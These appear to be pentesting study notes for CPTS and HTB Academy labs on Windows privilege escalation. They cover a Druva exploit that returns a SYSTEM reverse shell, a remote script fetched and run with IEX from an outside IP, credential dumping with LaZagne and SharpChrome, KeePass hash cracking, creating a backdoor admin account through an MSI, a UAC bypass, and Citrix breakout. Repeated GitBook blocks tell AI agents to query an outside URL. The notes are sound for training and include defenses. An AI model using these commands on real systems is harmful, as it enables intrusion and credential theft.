# On Windows target, navigate to C:\Tools in PowerShell
cd C:\Tools

# Execute the Druva exploit script
.\Druva.ps1

# Expected output:
22
4
4
316

7. Receive SYSTEM Shell

# On Pwnbox nc listener, you should receive connection:
Ncat: Connection from 10.129.43.44.
Ncat: Connection from 10.129.43.44:55778.
Windows PowerShell running as user WINLPE-WS01$ on WINLPE-WS01
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32>

8. Access Flag

# Verify SYSTEM privileges and access flag
whoami
# Should show: nt authority\system

# Access the flag file
type C:\Users\Administrator\Desktop\VulServices\flag.txt

# Flag: ...

🔄 Additional Vulnerable Services

Common Third-Party Targets

# High-risk applications often found in enterprise:
- Backup software (Druva, Veeam, etc.)
- Remote management tools (TeamViewer, VNC, etc.)
- Development tools (Git clients, IDEs, etc.)
- Database clients (MySQL Workbench, etc.)
- File sharing applications
- Antivirus/security software

Service Discovery Methodology

# 1. Software enumeration
wmic product get name
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select DisplayName, DisplayVersion

# 2. Running services analysis
Get-Service | Where-Object {$_.Status -eq "Running"}
netstat -ano | findstr LISTENING

# 3. Process investigation
Get-Process | Where-Object {$_.ProcessName -notlike "System*"}

# 4. Vulnerability research
# Search for: "ApplicationName version CVE"
# Check exploit databases for PoC code

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Unusual network connections to localhost high ports
- PowerShell execution with network download strings
- Service process spawning unexpected child processes
- Command injection patterns in application logs

Defensive Measures

# Security hardening:
- Restrict local administrator rights
- Implement application whitelisting
- Regular third-party software audits
- Patch management for all applications
- Network segmentation and monitoring
- PowerShell logging and monitoring

💡 Key Takeaways

  1. Third-party software introduces significant attack surface
  2. Service enumeration critical for identifying vulnerable applications
  3. Command injection common in backup/management software
  4. SYSTEM context services provide immediate privilege escalation
  5. PowerShell payloads effective for fileless exploitation
  6. Application whitelisting essential defensive measure

Vulnerable services exploitation highlights the importance of comprehensive software inventory and patch management in enterprise environments.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/vulnerable-services.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Credential Hunting


Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/credential-hunting.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Other Files

🎯 Overview

Advanced file system searching reveals credentials in unexpected locations beyond standard configuration files. This includes StickyNotes databases, network share drives, system backup files, and various application-specific storage locations. Manual search techniques complement automated enumeration tools.

🔍 Manual File System Searches

Basic String Searches

# Search file contents for password strings
cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt

# Search with case-insensitive pattern
findstr /si password *.xml *.ini *.txt *.config

# Search with line numbers and file paths
findstr /spin "password" *.*

# Example output:
stuff.txt:1:password: l#-x9r11_2_GL!

PowerShell Search Methods

# PowerShell string search
select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password

# Recursive file extension search
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore

File Extension Discovery

# Search for specific file extensions
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*

# Find config files system-wide
where /R C:\ *.config

# Common high-value extensions:
*.kdbx, *.vmdk, *.vdhx, *.ppk, *.rdp, *.vnc, *.cred, *.config

📝 Sticky Notes Database

StickyNotes File Location

# StickyNotes SQLite database location:
C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite

# Associated files:
plum.sqlite         # Main database
plum.sqlite-shm     # Shared memory file
plum.sqlite-wal     # Write-ahead log

PowerShell SQLite Query

# Import PSSQLite module and query database
Set-ExecutionPolicy Bypass -Scope Process
cd .\PSSQLite\
Import-Module .\PSSQLite.psd1

# Set database path
$db = 'C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'

# Query Notes table
Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap

# Example output:
Text
----
\id=de368df0-6939-4579-8d38-0fda521c9bc4 vCenter
\id=1a44a631-6fff-4961-a4df-27898e9e1e65 root:Vc3nt3R_adm1n!

Alternative Analysis Methods

# Copy SQLite files to attack box and use strings
strings plum.sqlite-wal | grep -i password
strings plum.sqlite | grep -i root

# Use DB Browser for SQLite
# Query: SELECT Text FROM Note;

📂 System and Application Files

Windows System Files

# High-value system file locations:
%SYSTEMDRIVE%\pagefile.sys                    # Virtual memory file
%WINDIR%\debug\NetSetup.log                   # Network setup logs
%WINDIR%\repair\sam                           # SAM backup
%WINDIR%\repair\system                        # System registry backup
%WINDIR%\repair\software                      # Software registry backup
%WINDIR%\repair\security                      # Security registry backup
%WINDIR%\iis6.log                            # IIS 6 logs
%WINDIR%\system32\config\AppEvent.Evt        # Application event log
%WINDIR%\system32\config\SecEvent.Evt        # Security event log
%WINDIR%\system32\config\*.sav               # Registry backup files
%WINDIR%\system32\CCM\logs\*.log             # SCCM logs
%WINDIR%\System32\drivers\etc\hosts          # Host file

User Profile Files

# User-specific credential storage:
%USERPROFILE%\ntuser.dat                      # User registry hive
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat  # IE cache
C:\ProgramData\Configs\*                      # Application configs
C:\Program Files\Windows PowerShell\*         # PowerShell modules/configs

🎯 HTB Academy Lab Solution

Lab Environment

  • Target: 10.129.223.93 (ACADEMY-WINLPE-WS01)
  • Credentials: htb-student:HTB_@cademy_stdnt!
  • Objective: Find cleartext password for bob_adm user
  • Access Method: xfreerdp
  • Primary Method: StickyNotes SQLite database analysis

Detailed Walkthrough

1. Connect via RDP

# Connect to target using xfreerdp
xfreerdp /v:10.129.43.44 /u:htb-student /p:HTB_@cademy_stdnt!

# Expected output:
[16:18:25:879] [4321:4323] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpsnd
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr

2. Navigate to PSSQLite Tools Directory

# Open PowerShell and navigate to tools
cd C:\Tools\PSSQLite\

3. Set PowerShell Execution Policy

# Bypass execution policy for current process
Set-ExecutionPolicy Bypass -scope Process

# Expected output:
Execution Policy Change
The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose you to the security risks described in the about_Execution_Policies help topic at
https:/go.microsoft.com/fwlink/?LinkID=135170. Do you want to change the execution policy?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): A

# Response: A (Yes to All)

4. Import PSSQLite Module

# Import the PSSQLite module
Import-Module .\PSSQLite.psd1

# Expected security warning:
Security warning
Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your computer. If you trust this script, use the Unblock-File cmdlet to allow the script to run without this warning message. Do you want to run C:\Tools\PSSQLite\PSSQLite.psm1?
[D] Do not run  [R] Run once  [S] Suspend  [?] Help (default is "D"): R

# Response: R (Run once)

5. Query StickyNotes Database

# Set database path
$db = 'C:\Users\htb-student\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite'

# Query the Notes table
Invoke-SqliteQuery -Database $db -Query "SELECT Text FROM Note" | ft -wrap

# Expected output:
Text
----
\id=de368df0-6939-4579-8d38-0fda521c9bc4 vCenter
\id=e4adae4c-a40b-48b4-93a5-900247852f96
\id=1a44a631-6fff-4961-a4df-27898e9e1e65 root:Vc3nt3R_adm1n!
\id=c450fc5f-dc51-4412-b4ac-321fd41c522a Thycotic demo tomorrow at 10am
\id=e30f6663-29fa-465e-895c-b031e061a26a Network
\id=c73f29c3-64f8-4cfc-9421-f65c34b4c00e [bob_adm password should be here]

6. Extract bob_adm Password

# Look for bob_adm credentials in the query results
# Password should be visible in one of the Note entries
# Submit the found password as the answer

🌐 Network Share Drive Hunting

Share Enumeration

# Common network share credential hunting:
net view \\<server>
dir \\<server>\users\*
dir \\<server>\shared\*

# Tools for automated share hunting:
Snaffler.exe -s <domain-controller> -d <domain>

High-Value Share Locations

# Common share paths with credentials:
\\<server>\users\<username>\                  # Personal folders
\\<server>\shared\IT\                         # IT department files
\\<server>\applications\configs\              # Application configurations
\\<server>\backup\                            # Backup files
\\<server>\temp\                              # Temporary files

🛠️ Advanced Search Techniques

Recursive Pattern Matching

# Advanced PowerShell search
Get-ChildItem -Path C:\ -Recurse -File -ErrorAction SilentlyContinue | 
ForEach-Object { 
    Select-String -Path $_.FullName -Pattern "password|credential|admin" -ErrorAction SilentlyContinue 
} | Select-Object Filename, LineNumber, Line

# Search for specific user accounts
Get-ChildItem -Path C:\ -Recurse -Include *.txt,*.xml,*.ini,*.config -ErrorAction SilentlyContinue | 
Select-String -Pattern "bob_adm|administrator|admin" -ErrorAction SilentlyContinue

Binary and Database Files

# Extract strings from binary files
strings.exe <binary_file> | findstr /i password

# Search registry for stored credentials
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Bulk file access patterns
- SQLite database queries on StickyNotes files
- Registry searches for credential patterns
- Network share enumeration activities
- Access to system backup files

Defensive Measures

# Security practices:
- Regular cleanup of backup files
- Secure storage of SQLite databases
- Monitor access to sensitive file locations
- Implement file integrity monitoring
- User education on secure password storage
- Network share permission reviews

💡 Key Takeaways

  1. StickyNotes databases often contain plaintext credentials
  2. System backup files may contain registry copies with credentials
  3. Network shares frequently store sensitive documents
  4. Manual searching complements automated enumeration tools
  5. Multiple file types should be examined systematically
  6. PowerShell provides powerful search capabilities for credential hunting

Advanced file system credential hunting extends beyond standard configuration files to reveal credentials in unexpected locations throughout Windows systems.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/other-files.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Further Credential Theft

🎯 Overview

Advanced credential theft techniques go beyond basic file searches to extract stored credentials from browsers, password managers, registry storage, saved RDP sessions, and wireless profiles. These methods target credentials stored by applications, Windows features, and user convenience configurations.

💾 Cmdkey Saved Credentials

Listing Stored Credentials

# List saved credentials for Terminal Services/RDP
cmdkey /list

# Example output:
Target: LegacyGeneric:target=TERMSRV/SQL01
Type: Generic
User: inlanefreight\bob

Exploiting Saved Credentials

# Use saved credentials with runas
runas /savecred /user:inlanefreight\bob "COMMAND HERE"

# RDP connections will automatically use saved credentials
# Target system: SQL01 with saved bob credentials

🌐 Browser Credentials

Chrome Credential Extraction

# Use SharpChrome to extract saved passwords
.\SharpChrome.exe logins /unprotect

# Example output:
--- Chrome Credential ---
file_path: C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Login Data
signon_realm: https://vc01.inlanefreight.local/
username: bob@inlanefreight.local
password: Welcome1

Detection Considerations

# Browser credential extraction generates events:
- Event ID 4983: Process creation
- Event ID 4688: Process execution
- Event ID 16385: Chrome-specific events

🔐 Password Managers

KeePass Database Cracking

# Extract hash from .kdbx file
python2.7 keepass2john.py ILFREIGHT_Help_Desk.kdbx

# Example hash output:
ILFREIGHT_Help_Desk:$keepass$*2*60000*222*f49632ef7dae20e5a670bdec2365d5820ca1718877889f44e2c4c202c62f5fd5*...

# Crack with Hashcat (mode 13400)
hashcat -m 13400 keepass_hash /opt/useful/seclists/Passwords/Leaked-Databases/rockyou.txt

# Example result:
$keepass$*2*60000*222*...:panther1

Password Manager Targeting

# Common password manager files:
*.kdbx          # KeePass databases
*.1pif          # 1Password exports
*.psafe3        # Password Safe
*.bks           # Various backup files

📧 Email Credential Mining

MailSniper for Exchange

# Search Exchange mailboxes for credentials
# Target terms: "pass", "creds", "credentials", "password"
# Requires domain user context with Exchange access

🛠️ LaZagne - Automated Extraction

Comprehensive Credential Harvesting

# Run all LaZagne modules
.\lazagne.exe all

# Example output:
########## User: jordan ##########

------------------- Winscp passwords -----------------
[+] Password found !!!
URL: transfer.inlanefreight.local
Login: root
Password: Summer2020!
Port: 22

------------------- Credman passwords -----------------
[+] Password found !!!
URL: dev01.dev.inlanefreight.local
Login: jordan_adm
Password: ! Q A Z z a q 1

LaZagne Module Categories

# Available modules:
chats          # Chat applications
mails          # Email clients
browsers       # Web browsers
sysadmin       # System admin tools
databases      # Database clients
windows        # Windows-specific storage
wifi           # Wireless profiles
memory         # Memory dumps

🔧 SessionGopher

Remote Access Tool Credentials

# Extract PuTTY, WinSCP, FileZilla, RDP credentials
Import-Module .\SessionGopher.ps1
Invoke-SessionGopher -Target WINLPE-SRV01

# Example output:
WinSCP Sessions
Source   : WINLPE-SRV01\htb-student
Session  : Default%20Settings

PuTTY Sessions
Source   : WINLPE-SRV01\htb-student
Session  : nix03
Hostname : nix03.inlanefreight.local

SuperPuTTY Sessions
Source        : WINLPE-SRV01\htb-student
SessionId     : NIX03
Host          : nix03.inlanefreight.local
Username      : srvadmin
Port          : 22

🗝️ Registry Credential Storage

Windows AutoLogon

# Check AutoLogon configuration
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

# Key values to check:
AutoAdminLogon     # 1 = enabled
DefaultUserName    # Username for autologon
DefaultPassword    # Cleartext password

# Example output:
AutoAdminLogon    REG_SZ    1
DefaultUserName   REG_SZ    htb-student
DefaultPassword   REG_SZ    HTB_@cademy_stdnt!

PuTTY Proxy Credentials

# Enumerate PuTTY sessions
reg query HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions

# Check specific session for proxy credentials
reg query "HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh"

# Look for proxy configuration:
ProxyMethod       # 5 = HTTP proxy with credentials
ProxyHost         # Proxy server
ProxyUsername     # Proxy username
ProxyPassword     # Cleartext proxy password

# Example:
ProxyUsername    REG_SZ    administrator
ProxyPassword    REG_SZ    1_4m_th3_@cademy_4dm1n!

📡 WiFi Password Extraction

Wireless Profile Enumeration

# List saved wireless networks
netsh wlan show profile

# Example output:
Profiles on interface Wi-Fi:
User profiles
-------------
    All User Profile     : Smith Cabin
    All User Profile     : ilfreight_corp

Wireless Password Retrieval

# Extract WiFi password
netsh wlan show profile ilfreight_corp key=clear

# Key information in output:
Security settings
-----------------
    Authentication         : WPA2-Personal
    Cipher                 : CCMP
    Security key           : Present
    Key Content            : ILFREIGHTWIFI-CORP123908!

🎯 HTB Academy Lab Solutions

Lab Environment Overview

  • Various RDP credentials: jordan:HTB_@cademy_j0rdan!, htb-student:HTB_@cademy_stdnt!
  • Multiple objectives: SQL sa password, RDP credentials, vCenter password, FTP password

Lab 1: SQL sa Password (as jordan)

# Objective: Retrieve sa password for SQL01.inlanefreight.local
# Methods: LaZagne, SessionGopher, registry search, browser credentials
# Check saved credentials and password managers

Lab 2: RDP User Discovery (as htb-student)

# Objective: Find user with stored RDP credentials for WEB01
# Method: cmdkey /list, SessionGopher, registry enumeration
cmdkey /list
# Look for TERMSRV/WEB01 entries

Lab 3: vCenter Password (as htb-student)

# Objective: Find password for https://vc01.inlanefreight.local/ui/login
# Method: SharpChrome browser credential extraction
.\SharpChrome.exe logins /unprotect
# Look for vc01.inlanefreight.local entries

Lab 4: FTP Password (as htb-student)

# Objective: Find password for ftp.ilfreight.local
# Methods: LaZagne all modules, SessionGopher, browser extraction
.\lazagne.exe all
# Check WinSCP, FileZilla, browser saved passwords

🔄 Advanced Techniques

Comprehensive Enumeration Strategy

# 1. Automated extraction
.\lazagne.exe all

# 2. Session-specific tools
Invoke-SessionGopher -Target localhost

# 3. Browser credentials
.\SharpChrome.exe logins /unprotect

# 4. Registry searches
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

# 5. Saved credentials
cmdkey /list

# 6. WiFi profiles
netsh wlan show profile

Manual Registry Hunting

# Additional registry locations:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
HKEY_CURRENT_USER\SOFTWARE\SimonTatham\PuTTY\Sessions
HKEY_CURRENT_USER\Software\ORL\WinVNC3\Password
HKEY_LOCAL_MACHINE\SYSTEM\Current001\Services\SNMP

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Browser database access patterns
- Registry queries for credential storage locations
- KeePass database file access
- SessionGopher PowerShell execution
- LaZagne process execution
- Unusual credential manager access

Defensive Measures

# Security practices:
- Disable AutoLogon or use encrypted storage
- Regular password manager audits
- Browser security policies
- Monitor credential extraction tools
- Network segregation for admin tools
- Least privilege for saved credentials

💡 Key Takeaways

  1. Multiple credential storage mechanisms exist beyond files
  2. Browser credentials are easily extractable with tools
  3. Password managers can be cracked if master passwords are weak
  4. Registry storage often contains cleartext credentials
  5. Automated tools like LaZagne provide comprehensive extraction
  6. WiFi passwords can enable lateral network access

Further credential theft techniques exploit various Windows credential storage mechanisms, providing multiple vectors for privilege escalation and lateral movement.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/further-credential-theft.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Citrix Breakout

🎯 Overview

Citrix Breakout involves escaping restricted virtualization environments such as Terminal Services, Citrix, AWS AppStream, CyberArk PSM, and Kiosk environments. These platforms implement lock-down measures to minimize security impact, but breakout techniques can bypass these restrictions to gain command execution and privilege escalation.

🔓 Basic Breakout Methodology

Three-Step Process

1. Gain access to a Dialog Box
2. Exploit the Dialog Box to achieve command execution  
3. Escalate privileges to gain higher levels of access

Environment Characteristics

# Highly restrictive environments typically have:
- No cmd.exe/powershell.exe in Start Menu
- Blocked access to C:\Windows\system32 via File Explorer
- Group policy restrictions on directory browsing
- File Explorer access restrictions to sensitive paths

📂 Bypassing Path Restrictions

Dialog Box Methodology

# Applications with file interaction features provide dialog boxes:
- Save/Save As
- Open/Load  
- Browse/Import/Export
- Help/Search/Scan/Print

MS Paint Dialog Box Example

# Steps:
1. Run Paint from Start Menu
2. Click File > Open to open Dialog Box
3. Enter UNC path: \\127.0.0.1\c$\users\pmorgan
4. Set File-Type to "All Files"  
5. Press Enter to gain directory access

# Result: Bypasses File Explorer restrictions

UNC Path Technique

# UNC paths that work in dialog boxes:
\\127.0.0.1\c$\users\<username>    # Local admin share
\\<ip>\<share>                     # Remote SMB share
\\localhost\c$\                    # Alternative localhost syntax

🌐 SMB Share Access from Restricted Environment

Setting up SMB Server

# On attacking machine (Ubuntu/Kali):
smbserver.py -smb2support share $(pwd)

# Example output:
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

Accessing SMB Share via Dialog Box

# Steps:
1. Open Paint > File > Open
2. Enter UNC path: \\<attacker_ip>\share
3. Set File-Type to "All Files"
4. Browse and execute files directly from share

# File execution:
- Right-click on executable
- Select "Open" to run directly

Custom Breakout Binary

// pwn.c - Simple CMD launcher
#include <stdlib.h>
int main() {
  system("C:\\Windows\\System32\\cmd.exe");
}

// Compile and place on SMB share
// Right-click > Open in dialog box = CMD access

🛠️ Alternate File System Tools

Explorer++ Bypass

# Why Explorer++:
- Portable (no installation required)
- Bypasses group policy folder restrictions  
- Fast and user-friendly interface
- Can copy files where File Explorer cannot

# Usage:
1. Download Explorer++ to SMB share
2. Execute via dialog box or copy to system
3. Use for unrestricted file system access

Alternative File Managers

# Recommended tools:
- Explorer++        # Most popular and effective
- Q-Dir            # Quad-pane file manager  
- FreeCommander    # Dual-pane alternative
- Total Commander  # Feature-rich option

🗝️ Alternate Registry Editors

Registry Editor Bypass

# When regedit.exe is blocked by group policy:
- Simpleregedit
- Uberregedit  
- SmallRegistryEditor

# These GUI tools bypass standard group policy restrictions
# Allow full registry editing capabilities

Registry Editor Features

# Capabilities:
- Full HKEY hive access
- Import/Export registry files
- Search functionality
- Permissions modification

🔗 Modifying Existing Shortcuts

Shortcut Hijacking Process

# Steps:
1. Right-click existing shortcut
2. Select "Properties"
3. Modify "Target" field to desired executable:
   Target: C:\Windows\System32\cmd.exe
4. Execute shortcut = CMD access

# Alternative targets:
C:\Windows\System32\powershell.exe
C:\Windows\System32\mmc.exe
\\<ip>\share\<tool>.exe

Creating New Shortcuts

# PowerShell method for .lnk creation:
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\<user>\Desktop\pwn.lnk")
$Shortcut.TargetPath = "C:\Windows\System32\cmd.exe"
$Shortcut.Save()

📝 Script Execution Bypass

Batch File Method

# Create evil.bat:
1. Create new text file
2. Rename to "evil.bat"  
3. Edit content:
   cmd
4. Save and execute

# Result: Opens Command Prompt

Script Extension Exploitation

# When these extensions auto-execute:
.bat    # Batch files
.vbs    # VBScript files  
.ps1    # PowerShell scripts

# Potential for:
- Interactive console access
- Download and launch tools
- Bypass restrictions via scripting

🔺 Privilege Escalation in Citrix

AlwaysInstallElevated Discovery

# Check registry for Always Install Elevated:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# Both should return: REG_DWORD 0x1

PowerUp MSI Exploitation

# Using PowerUp for MSI creation:
Import-Module .\PowerUp.ps1
Write-UserAddMSI

# Creates UserAdd.msi on desktop
# Execute to create new admin user

User Creation via MSI

# MSI execution creates user dialog:
Username: backdoor
Password: T3st@123        # Must meet complexity requirements
Group: Administrators

# Result: New admin user created

Runas for New User Context

# Switch to new admin user:
runas /user:backdoor cmd

# Enter password: T3st@123
# New CMD session as admin user

🛡️ UAC Bypass

UAC Bypass Necessity

# Even admin users face UAC restrictions:
C:\Windows\system32> cd C:\Users\Administrator
Access is denied.

# UAC blocks access despite admin membership

Bypass-UAC Script Usage

# UAC bypass execution:
Import-Module .\Bypass-UAC.ps1
Bypass-UAC -Method UacMethodSysprep

# Process:
- Impersonates explorer.exe
- Drops proxy DLL
- Executes sysprep for privilege escalation

Verification of Bypass

# Verify elevated privileges:
whoami /all
whoami /priv

# Test access:
cd C:\Users\Administrator
dir *.txt

🎯 HTB Academy Lab Solutions

Lab Environment

# Access method:
1. RDP to target with htb-student:HTB_@cademy_stdnt!
2. Visit http://humongousretail.com/remote/
3. Login: pmorgan:Summer1Summer! (Domain: htb.local)
4. Download launch.ica file for Citrix access

Lab 1: User Flag (pmorgan Downloads)

# Objective: Get flag from C:\Users\pmorgan\Downloads
# Method: Dialog box bypass to access restricted directory

# Steps:
1. Open Paint > File > Open
2. Navigate to: \\127.0.0.1\c$\users\pmorgan\Downloads  
3. Access flag.txt
# Flag location: C:\Users\pmorgan\Downloads\flag.txt

Lab 2: Administrator Flag

# Objective: Get flag from C:\Users\Administrator\Desktop
# Method: Full privilege escalation chain

# Complete process:
1. Dialog box breakout for CMD access
2. Copy tools from SMB share
3. Use PowerUp for AlwaysInstallElevated
4. Create admin user with MSI
5. UAC bypass with Bypass-UAC.ps1
6. Access Administrator desktop

# Flag location: C:\Users\Administrator\Desktop\flag.txt

🔄 Complete Attack Chain

Comprehensive Breakout Process

# 1. Initial access via dialog box
Paint > File > Open > \\127.0.0.1\c$\users\<user>

# 2. SMB server setup
smbserver.py -smb2support share $(pwd)

# 3. Tool transfer and execution  
\\<attacker_ip>\share\pwn.exe

# 4. Privilege enumeration
.\PowerUp.ps1 
# or
.\winPEAS.exe

# 5. AlwaysInstallElevated exploitation
Write-UserAddMSI
# Execute UserAdd.msi

# 6. Admin user creation
Username: backdoor
Password: Complex@123
Group: Administrators  

# 7. Context switch
runas /user:backdoor cmd

# 8. UAC bypass
Bypass-UAC -Method UacMethodSysprep

# 9. Full system access
whoami /priv
cd C:\Users\Administrator

🛠️ Required Tools

Essential Breakout Tools

# File system access:
Explorer++.exe          # Alternative file manager
Q-Dir.exe              # Quad-pane explorer

# Registry access:  
SmallRegistryEditor.exe # Alternative registry editor
Simpleregedit.exe      # Lightweight reg editor

# Privilege escalation:
PowerUp.ps1            # Privilege escalation framework
Bypass-UAC.ps1         # UAC bypass collection
winPEAS.exe           # Windows enumeration

# Custom tools:
pwn.exe               # Custom CMD launcher
evil.bat              # Simple batch breakout

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Unusual dialog box usage patterns
- UNC path access in file dialogs
- Alternative file manager execution  
- Registry editor process spawning
- MSI installation outside normal channels
- UAC bypass script execution
- SMB connections to external shares

Defensive Measures

# Hardening recommendations:
- Block UNC path access in dialog boxes
- Disable Always Install Elevated policy
- Implement application allowlisting
- Monitor file manager alternatives
- Restrict SMB access to external hosts
- Enhanced UAC configuration
- Registry access restrictions
- Dialog box behavior policies

💡 Key Takeaways

  1. Dialog boxes provide powerful bypass mechanisms for restricted environments
  2. UNC paths can circumvent File Explorer restrictions
  3. Alternative tools (Explorer++, registry editors) bypass group policy
  4. SMB shares enable tool transfer and execution in restricted environments
  5. MSI exploitation with AlwaysInstallElevated provides reliable privilege escalation
  6. UAC bypass is often necessary even with admin users
  7. Script execution (.bat, .vbs, .ps1) can provide multiple breakout vectors

Citrix breakout techniques exploit the inherent trust in application dialog boxes and file interaction features to escape restricted virtualization environments and achieve privilege escalation.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/citrix-breakout.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Interacting with Users

🎯 Overview

User interaction attacks exploit the human element as the weakest link in security. These techniques target unsuspecting users through network traffic capture, malicious file placement, and credential harvesting when technical privilege escalation methods are exhausted. Focus on heavily accessed file shares and network monitoring for credential theft opportunities.

📡 Traffic Capture Techniques

Wireshark Privilege Exploitation

# Wireshark vulnerability:
- Npcap driver access NOT restricted to Administrators by default
- Unprivileged users can capture network traffic
- Potential for cleartext credential capture

# Installation check:
- Look for Wireshark in Program Files
- Check if "Restrict driver's access to Administrators" is unchecked

Network Traffic Monitoring

# On attack machine - passive traffic capture:
tcpdump -i <interface> -w capture.pcap

# Using net-creds for credential extraction:
net-creds -i <interface>           # Live interface monitoring
net-creds -p capture.pcap          # PCAP file analysis

# Let tools run in background during assessment

Example Credential Capture

# Wireshark FTP capture example:
Source: 10.129.43.8 → Destination: 10.129.43.7
Protocol: FTP

220-FileZilla Server
USER root
PASS FTP_adm1n!

# Result: Cleartext FTP credentials captured

🔍 Process Command Line Monitoring

PowerShell Process Monitor

# Monitor for credentials in command lines:
while($true)
{
  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 1
  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Remote Script Execution

# Host script on attack machine and execute remotely:
IEX (iwr 'http://10.10.10.205/procmon.ps1')

# Example captured command:
net use T: \\sql02\backups /user:inlanefreight\sqlsvc My4dm1nP@s5w0Rd

# Result: Domain service account credentials revealed

Target Processes

# Look for processes containing:
- net use commands with /user: parameter
- Database connection strings
- Service account authentications
- Scheduled task executions with credentials
- Backup operations with stored passwords

🗂️ Vulnerable Services Exploitation

Docker Desktop CVE-2019-15752

# Vulnerability details:
- Affects Docker Desktop Community Edition before 2.1.0.1
- Misconfigured directory: C:\PROGRAMDATA\DockerDesktop\version-bin\
